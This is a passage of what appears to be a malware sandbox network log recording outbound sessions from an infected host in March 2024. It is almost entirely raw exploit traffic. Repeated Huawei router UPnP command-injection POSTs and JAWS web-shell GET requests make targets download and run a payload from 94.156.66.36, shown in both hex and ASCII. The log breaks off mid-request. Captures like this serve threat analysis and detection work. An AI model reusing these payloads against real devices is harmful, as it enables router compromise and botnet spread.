6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:38.805226088 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:46.485063076 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:37:01.588536024 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.15	35684	13.37.125.83	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:31.580941916 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.15	41786	61.160.202.82	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:31.635190964 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:32.013276100 CET	482	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Wed, 13 Mar 2024 08:36:31 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: cache12.cn4433[,0] Timing-Allow-Origin: * EagleId: 0000000017103189918685085e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.15	41788	61.160.202.82	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:31.643255949 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:31.997284889 CET	481	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Wed, 13 Mar 2024 08:36:31 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: cache9.cn4433[,0] Timing-Allow-Origin: * EagleId: 0000000017103189918471688e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
261	192.168.2.15	52780	185.59.228.91	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:32.211904049 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:32.384191036 CET	496	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 302 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 64 66 6c 2e 64 6b 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at www.dfl.dk Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
262	192.168.2.15	42892	176.88.216.242	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:32.247523069 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
263	192.168.2.15	36478	140.227.85.230	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:32.297704935 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:32.560648918 CET	271	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Mar 2024 08:36:32 GMT Server: Apache Content-Length: 59 Keep-Alive: timeout=3, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Forbidden</h1>You don't have permission on this server.

Session ID	Source IP	Source Port	Destination IP	Destination Port
264	192.168.2.15	42904	176.88.216.242	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:32.670202971 CET	619	IN	Data Raw: 55 4e 4b 4e 4f 57 4e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f Data Ascii: UNKNOWN 400 Bad RequestStrict-Transport-Security: max-age=31536000; includeSubDomainsServer: Check Point SVN foundationContent-Type: text/html; charset=UTF-8Date: Wed, 13 Mar 2024 08:36:32 GMTLast-Modified: Wed, 13 Mar 2024 08:36:32

Session ID	Source IP	Source Port	Destination IP	Destination Port
265	192.168.2.15	43066	156.254.81.143	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:34.122265100 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:38.293236971 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:44.437289000 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 